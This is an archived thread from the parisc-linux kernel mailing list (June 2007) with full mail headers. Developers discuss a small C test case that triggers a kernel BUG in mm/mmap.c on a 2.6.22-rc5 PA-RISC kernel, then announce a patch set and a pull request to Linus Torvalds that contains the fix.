X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G0FKfukYMmAobLSZZGFn02cxMjQ1Nx1r
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24672

On Mon, Jun 18, 2007 at 09:31:06PM +0200, Helge Deller wrote:
> The following small test case - which is itself wrong - crashes 2.6.22-rc5 (32bit kernel) badly:
> 
> #include <stdio.h>
> int main()
> {
>         int *ptr = (int *) 0xffffffff;
>         printf("ptr=%x, val=%d\n", ptr, *ptr);
> }
> 

I have a fix for this, will post after rudimentary testing.

Cheers,
	Kyle



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned handler broken (kernel BUG at 
	mm/mmap.c:1991!)
Date: Tue, 19 Jun 2007 11:35:12 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <JJVMMO$BDDF688E008708C3728947C9158A4B1D__30060.3789197796$1416624399$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624399 24583 80.91.229.3 (22 Nov 2014 02:46:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:39 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1011
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jun 2007 09:35:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 19 Jun 2007 11:35:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A22A97DD57;
	Tue, 19 Jun 2007 03:35:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04142-06; Tue, 19 Jun 2007 03:35:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 922937DD13;
	Tue, 19 Jun 2007 03:35:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4E5C7DD16
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jun 2007 03:35:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04142-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jun 2007 03:35:15 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 658867DD13
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jun 2007 03:35:15 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id l5J9ZCn00419 
	for <parisc-linux@lists.parisc-linux.org>; 
	Tue, 19 Jun 2007 11:35:12 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DtYedZJieWU2aK2TZm9nj9krL0tsZk2m
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24673

Hello Helge,

Did your system actually crashed?

I run your test case and read well same messages on console but my b180 r=
uning
also 2.6.22-rc5-pa1 (a merge of mine obviously) was still alive after thi=
s run???

Even thought I don't know what to thought about ultimate message:
"Fixing ... but reboot is needed!"

A critical pb would launch a LPMC or a panic?

Should I actualy reboot it (as it's still alive)?

Thx,
    Joel
=0A---=0Ahttp://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned handler broken (kernel BUG at 
	mm/mmap.c:1991!)
Date: Tue, 19 Jun 2007 21:28:56 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20070619192856.137150__41760.30775202$1416624399$gmane$org@gmx.net>
References: <JJVMMO$BDDF688E008708C3728947C9158A4B1D@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624399 24584 80.91.229.3 (22 Nov 2014 02:46:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:39 +0000 (UTC)
To: "Joel Soete" <soete.joel@scarlet.be>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jun 2007 19:29:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 19 Jun 2007 21:29:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A74E97DD41;
	Tue, 19 Jun 2007 13:29:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08855-04; Tue, 19 Jun 2007 13:29:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64B537DD39;
	Tue, 19 Jun 2007 13:29:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B04007DD32
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jun 2007 13:29:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08855-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jun 2007 13:28:58 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 7B7C57DCF0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jun 2007 13:28:58 -0600 (MDT)
Original-Received: (qmail 5638 invoked by uid 0); 19 Jun 2007 19:28:56 -0000
Original-Received: from 89.12.29.151 by www115.gmx.net with HTTP;
	Tue, 19 Jun 2007 21:28:56 +0200 (CEST)
In-Reply-To: <JJVMMO$BDDF688E008708C3728947C9158A4B1D@scarlet.be>
X-Authenticated: #1045983
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sBlNcqprTiEscKyUaGRwjF11ZUVSRNcK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24674

Hi Joel,

Von: "Joel Soete" <soete.joel@scarlet.be>
> Did your system actually crashed?

No it didn't.
 
> I run your test case and read well same messages on console but my b180
> runing also 2.6.22-rc5-pa1 (a merge of mine obviously) was still 
> alive after this run???

Yes.

> Even thought I don't know what to thought about ultimate message:
> "Fixing ... but reboot is needed!"

Yeah. There is some major bug though : "kernel BUG at mm/mmap.c:1991!"
 
> A critical pb would launch a LPMC or a panic?

That's the worst thing which can happen.

> Should I actualy reboot it (as it's still alive)?

I have no idea. Probably the best is to reboot.

Helge
-- 
Psssst! Schon vom neuen GMX MultiMessenger gehrt?
Der kanns mit allen: http://www.gmx.net/de/go/multimessenger
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned handler broken (kernel BUG at
	mm/mmap.c:1991!)
Date: Wed, 20 Jun 2007 23:09:39 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <200706202309.39643.deller__26094.5532740609$1416624400$gmane$org@gmx.de>
References: <200706182131.06930.deller@gmx.de>
	<20070620184502.GE8184@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624400 24589 80.91.229.3 (22 Nov 2014 02:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2007 21:09:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 20 Jun 2007 23:09:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C37AB7DD26;
	Wed, 20 Jun 2007 15:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17548-08; Wed, 20 Jun 2007 15:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 753507DD39;
	Wed, 20 Jun 2007 15:09:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBB9A7DD26
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jun 2007 15:09:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17306-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jun 2007 15:09:43 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 97CA77DD23
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jun 2007 15:09:42 -0600 (MDT)
Original-Received: (qmail invoked by alias); 20 Jun 2007 21:09:41 -0000
Original-Received: from mnhm-590c18bb.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.24.187]
	by mail.gmx.net (mp028) with SMTP; 20 Jun 2007 23:09:41 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070620184502.GE8184@fattire.cabal.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lqVLde8bPTRsPujGPjIwuRgxc2tpZItX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24675

Hi Kyle,

On Wednesday 20 June 2007, Kyle McMartin wrote:
> On Mon, Jun 18, 2007 at 09:31:06PM +0200, Helge Deller wrote:
> > The following small test case - which is itself wrong - crashes 2.6.22-rc5 (32bit kernel) badly:
> > 
> > #include <stdio.h>
> > int main()
> > {
> >         int *ptr = (int *) 0xffffffff;
> >         printf("ptr=%x, val=%d\n", ptr, *ptr);
> > }
> > 
> 
> I have a fix for this, will post after rudimentary testing.

I remembered, that I saw similiar problems with the LTP testsuite last december.
It's in the archives as thread named "kernel BUG at mm/mmap.c:1990".

In the end Willy (and I think you as well!) helped me to track the problem down on IRC.
The final patch which solved this issue is this one, which we had in our old git tree, but which never made it upstream:
http://git.parisc-linux.org/?p=linux-2.6.git;a=commitdiff;h=0590a4f2beee1d489050cb0ca035294892a46a40

Helge

PS: I would surround the if-clause check with likely() today...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc v2.6.22-rc5-pa2
Date: Thu, 21 Jun 2007 11:49:11 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20070621154911.GA7701__2979.31072204864$1416624400$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624400 24592 80.91.229.3 (22 Nov 2014 02:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2007 15:59:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 21 Jun 2007 17:59:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C58327DCD5;
	Thu, 21 Jun 2007 09:59:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30137-07; Thu, 21 Jun 2007 09:59:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3568F7DCD6;
	Thu, 21 Jun 2007 09:59:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 148AA7DCCF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 09:59:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32366-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 09:59:43 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 359A87DC4D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 09:59:43 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B9D815840A0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 11:59:42 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 43804584095
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 11:59:42 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id C238F23E03; Thu, 21 Jun 2007 11:49:11 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KuQwAQ8Xa2A6a7vDOHQysYUyOWhhasfK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24676

http://ftp.kernel.org/pub/linux/kernel/people/kyle/parisc/2.6.22-rc5/v2.6.22-rc5-pa2.diff.bz2

 parisc/led-lcd-no-space-removal.patch
 parisc/mmap-handle-expand_upwards-wrap.patch

added:
+parisc/fix-64bit-unwinding.patch
+parisc/unwinder-improvements.patch
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git patches] parisc bugfixes for 2.6.22-rc5
Date: Thu, 21 Jun 2007 17:39:30 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20070621213930.GA11721__21635.4077951566$1416624400$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624400 24594 80.91.229.3 (22 Nov 2014 02:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:40 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@linux-foundation.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2007 21:52:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 21 Jun 2007 23:52:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4B757DDBA;
	Thu, 21 Jun 2007 15:52:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05615-10; Thu, 21 Jun 2007 15:52:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A08A27DDBD;
	Thu, 21 Jun 2007 15:52:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9CB77DCE9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 15:50:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05615-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 15:50:01 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CCADE7DCDF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 21 Jun 2007 15:50:01 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3D20F584094;
	Thu, 21 Jun 2007 17:50:01 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B5144584090;
	Thu, 21 Jun 2007 17:50:00 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 8D31F23E03; Thu, 21 Jun 2007 17:39:30 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Thu, 21 Jun 2007 15:52:37 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GcVJcr5kTXs8bKyRbmQ5PIRKRzdyMsPs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24677

Hi Linus,

Just a few last minute critical bugfixes for parisc for 2.6.22.

Cheers,
	Kyle M.

The following changes since commit 188e1f81ba31af1b65a2f3611df4c670b092bbac:
  Linus Torvalds (1):
        Linux 2.6.22-rc5

are available in the git repository at:

  /pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Helge Deller (1):
      [PARISC] Handle wrapping in expand_upwards()

Julian Stecklina (1):
      [PARISC] stop lcd driver from stripping initial whitespace

Randolph Chung (2):
      [PARISC] Fix unwinder on 64-bit kernels
      [PARISC] unwinder improvements

 arch/parisc/kernel/unwind.c |   43 ++++++++++++++++++++++++++++++++++++-------
 drivers/parisc/led.c        |    6 ------
 include/asm-parisc/system.h |    1 -
 mm/mmap.c                   |    9 +++++++--
 4 files changed, 43 insertions(+), 16 deletions(-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0001
